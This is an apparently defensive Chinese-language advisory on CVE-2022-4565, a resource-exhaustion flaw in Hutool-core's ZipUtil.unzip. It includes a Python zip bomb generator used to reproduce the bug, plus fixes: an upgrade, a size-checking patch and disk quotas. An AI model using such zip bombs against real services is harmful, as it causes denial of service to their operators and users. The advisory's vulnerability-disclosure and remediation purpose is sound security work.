0x01 概述
Hutool 是一个Java工具库,提供了丰富的工具类和方法,方便开发者在Java应用程序中进行各种常见任务的处理。它具有简单易用、功能丰富、性能优越等特点,被广泛用于Java开发中。
笔者通过对数百个真实项目引入组件的分析选出了Hutool组件的常见漏洞进行分析。本次分析的是CVE-2022-4565,Hutool-core执行unzip操作时的资源消耗漏洞。
0x02 组件使用场景
Hutool-core组件包括Bean操作、日期、各种Util等,其中的ZipUtil类在压缩文件,解压文件等操作会被使用。
0x03 漏洞信息
3.1.1 漏洞简介
- 漏洞名称:资源消耗漏洞
- 漏洞编号:CVE-2022-4565
- 漏洞类型:CWE-400 不受控制的资源消耗
- CVSS评分:CVSS v3.1:7.5
- 漏洞危害等级:高危
3.1.2 漏洞概述
该库的ZipUtil类的unzip函数默认不检测压缩文件的解压大小,因此解压压缩文件的时候可能造成资源消耗。
3.1.3 漏洞利用条件
使用Hutool默认的unzip函数,并且未对压缩文件解压的数据大小进行校验会导致该漏洞。
3.1.4 影响版本
Hutool-core 4.4.2 ~ 5.8.10
3.1.5 漏洞分析
资源消耗漏洞是指恶意用户或攻击者通过特定的方式使用系统资源,导致系统资源(如CPU、内存、磁盘空间、网络带宽等)耗尽,从而影响系统的正常运行和可用性。
该类漏洞可能造成DoS(Denial of Sevice,DoS)攻击,导致系统崩溃或死机,并且在资源耗尽的情况下系统性能会下降,因此可能无法处理其他重要的安全事件或阻止攻击者使用其他已知的漏洞。
Hutool-core组件产生该漏洞的原因在于默认的unzip传入的limit参数(限制解压后的大小)为-1。
limit为-1时,不会进行zipFileSize的检测,zipFileSize为压缩文件内所有文件未压缩大小之和。
3.1.6 漏洞复现
1.构造Zip Bomb文件
ZipBomb的原理是创建一个文件,该文件包含相同的符号并被压缩,由于文件包含了相同的信息,所以其压缩的文件会比自己小许多。对于无限长度的重复字节来说,使用DEFLATE 压缩算法的压缩器有接近1032的压缩率(压缩率=压缩前大小/压缩后大小),对于部分恶意构造的Zip,压缩比甚至能达到28000000:1,也就是说10MB的压缩文件最后能解压出281TB的文件。
笔者仅作测试,故而构造约为1024压缩率的Zip Bomb。
制作Zip Bomb文件的代码如下:
import zipfile
# 创建 Zip Bomb 文件
def create_zip_bomb(file_name, num_files, zip_level):
with zipfile.ZipFile(file_name, 'w', compression=zipfile.ZIP_DEFLATED, compresslevel=zip_level) as zf:
for i in range(num_files):
file_content = b'\0' * (1024 * 1024) # 1MB of null bytes
file_name = f'file_{i}.bin'
zf.writestr(file_name, file_content)
if __name__ == '__main__':
zip_bomb_file = 'zip_bomb.zip'
num_files = 1000 # Increase this number to create a larger Zip Bomb
zip_level = 9 # Set the compression level to 9 (maximum compression)
create_zip_bomb(zip_bomb_file, num_files, zip_level)
print(f'Zip Bomb file "{zip_bomb_file}" created successfully.')
2.使用Hutool组件的unzip函数对压缩文件进行解压。
3.查看结果
1.08MB的压缩文件成功解压出0.97GB的文件。
3.1.7 漏洞修复
漏洞修复的办法有如下几种:
1.升级Hutool至5.8.11版本
其修复原理是在解压时调用了checkZipBomb的方法,计算文件的压缩率,如果压缩率大于100则视解压的文件为Zip Bomb文件。
该修复方案可通过修改包管理文件(pom.xml,build.gradle),随后重新构建项目完成。
2.手动修改源码
第一种修复方案的本质是代码的Patch,对解压文件内的压缩率进行了校验,所以也可以通过自己实现相关校验代码避免漏洞的产生。
ZipEntry zipEntry;
long totalSize = 0;
int numFiles = 0;
while ((zipEntry = zipInputStream.getNextEntry()) != null) { totalSize += zipEntry.getSize();
numFiles++;
if (totalSize > MAX_TOTAL_SIZE || numFiles > MAX_NUM_FILES) {
dosomething() // Zip bomb detected
}
该修复方案可通过下载组件源码,手动Patch实现修复,不整体升级组件可保证项目的其余部分不受影响。
3.设置磁盘配额
对用户和进程设置合理的磁盘配额,限制其使用的磁盘空间,防止恶意使用。
以Ubuntu为例。
首先确保文件系统支持磁盘配额,在挂载文件系统的时候添加usrquota 和 grpquota参数。
sudo mount -o remount,usrquota,grpquota /dev/sda1 /mnt
随后安装磁盘配额工具。
sudo apt-get install quota
再然后配置磁盘配额,设置用户 user1 的磁盘配额限制为 1GB。
sudo setquota -u user1 1048576 1048576 0 0 /mnt
其中,参数含义依次为:用户,硬限制(1KB为单位),软限制(1KB为单位),索引节点的软限制,索引节点的硬限制,以及文件系统路径。
最后生成磁盘配额数据库,启动磁盘配额。
sudo quotacheck -cum /mnt
sudo quotaon /mnt
该修复方案可以在代码存在资源消耗漏洞时防止恶意压缩文件对其他用户和系统造成影响。
文章评论